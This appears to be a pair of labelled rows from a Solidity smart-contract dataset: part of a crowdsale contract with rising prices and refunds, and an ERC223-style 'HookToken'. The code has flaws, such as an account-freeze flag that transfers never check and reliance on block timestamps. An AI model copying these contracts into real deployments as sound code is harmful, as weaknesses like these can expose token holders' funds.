using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(token != address(0x0));
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedTokenCrowdsale is Crowdsale
{
using SafeMath for uint256;
uint256 public tokenCap;
uint256 public tokensSold;
constructor(uint256 _tokenCap) public {
require(_tokenCap > 0);
tokenCap = _tokenCap;
}
function tokenCapReached() public view returns (bool) {
return tokensSold >= tokenCap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(!tokenCapReached());
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
tokensSold = tokensSold.add(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
}
contract IncreasingTokenPriceCrowdsale is TimedCrowdsale
{
using SafeMath for uint256;
uint256 public initialRate;
uint256 public finalRate;
constructor(uint256 _initialRate, uint256 _finalRate) public {
require(_finalRate >= _initialRate);
require(_initialRate > 0);
initialRate = _initialRate;
finalRate = _finalRate;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
uint256 rateRange = finalRate.sub(initialRate);
return initialRate.add(elapsedTime.mul(rateRange).div(timeRange));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return _weiAmount.div(currentRate);
}
}
contract FOIChainCrowdsale is TimedCrowdsale, MintedCrowdsale, IncreasingTokenPriceCrowdsale, PostDeliveryCrowdsale, CappedTokenCrowdsale, FinalizableCrowdsale {
using SafeMath for uint256;
address constant internal walletAddress = 0x870c6bd22325673D28d9a5da465dFef3073AB3E7;
uint256 constant internal startOfAugust13 = 1534118400;
uint256 constant internal endOfOctober12 = 1539388740;
constructor()
public
Crowdsale(walletAddress)
TimedCrowdsale(startOfAugust13, endOfOctober12)
IncreasingTokenPriceCrowdsale(0.05 ether, 0.25 ether)
PostDeliveryCrowdsale()
CappedTokenCrowdsale(200000)
FinalizableCrowdsale() {
}
function updateTokenAddress(MintableToken _token) onlyOwner public {
require(!isFinalized);
require(_token.owner() == address(this));
token = _token;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 currentRate = getCurrentRate();
uint256 tokenAmount = _weiAmount.div(currentRate);
require(tokenAmount > 0);
}
function getTokenAmount(uint256 _weiAmount) public view returns(uint256) {
return _getTokenAmount(_weiAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns(uint256) {
uint256 tokenAmount = super._getTokenAmount(_weiAmount);
uint256 unsold = unsoldTokens();
if(tokenAmount > unsold)
{
tokenAmount = unsold;
}
return tokenAmount;
}
function unsoldTokens() public view returns (uint256) {
return tokenCap.sub(tokensSold);
}
function getBalance(address _user) public view returns(uint256) {
return balances[_user];
}
event EtherRefund(
address indexed purchaser,
uint256 refund
);
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
uint256 currentRate = getCurrentRate();
uint256 weiSpent = currentRate.mul(_tokenAmount);
uint256 weiAmount = msg.value;
uint256 refund = weiAmount.sub(weiSpent);
if(refund > 0)
{
weiRaised = weiRaised.sub(refund);
msg.sender.transfer(refund);
emit EtherRefund(
msg.sender,
refund
);
}
}
function _forwardFunds() internal {
wallet.transfer(address(this).balance);
}
function withdrawTokens() public {
require(isFinalized);
super.withdrawTokens();
}
function finalization() internal {
uint256 reserve = 50000;
uint256 remaining = tokenCap.sub(tokensSold).add(reserve);
balances[wallet] = balances[wallet].add(remaining);
super.finalization();
}
} | 1 | 3,929 |
pragma solidity ^0.4.17;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != 0x0);
require(_to != address(this));
require(balances[msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(
address _to,
uint256 _value,
bytes _data)
public
returns (bool)
{
require(transfer(_to, _value));
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
require(_from != 0x0);
require(_to != 0x0);
require(_to != address(this));
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != 0x0);
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
constant
public
returns (uint256)
{
return allowed[_owner][_spender];
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
}
contract HookToken is owned, StandardToken {
string constant public name = "HOOKToken";
string constant public symbol = "HT";
uint8 constant public decimals = 18;
uint constant multiplier = 1000000000000000000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Deployed(uint indexed _total_supply);
event Burnt(
address indexed _receiver,
uint indexed _num,
uint indexed _total_supply
);
function HookToken(
address wallet_address,
uint initial_supply)
public
{
require(wallet_address != 0x0);
totalSupply = initial_supply;
balances[wallet_address] = initial_supply;
Transfer(0x0, wallet_address, balances[wallet_address]);
Deployed(totalSupply);
assert(totalSupply == balances[wallet_address]);
}
function burn(uint num) public {
require(num > 0);
require(balances[msg.sender] >= num);
require(totalSupply >= num);
uint pre_balance = balances[msg.sender];
balances[msg.sender] -= num;
totalSupply -= num;
Burnt(msg.sender, num, totalSupply);
Transfer(msg.sender, 0x0, num);
assert(balances[msg.sender] == pre_balance - num);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 1 | 3,646 |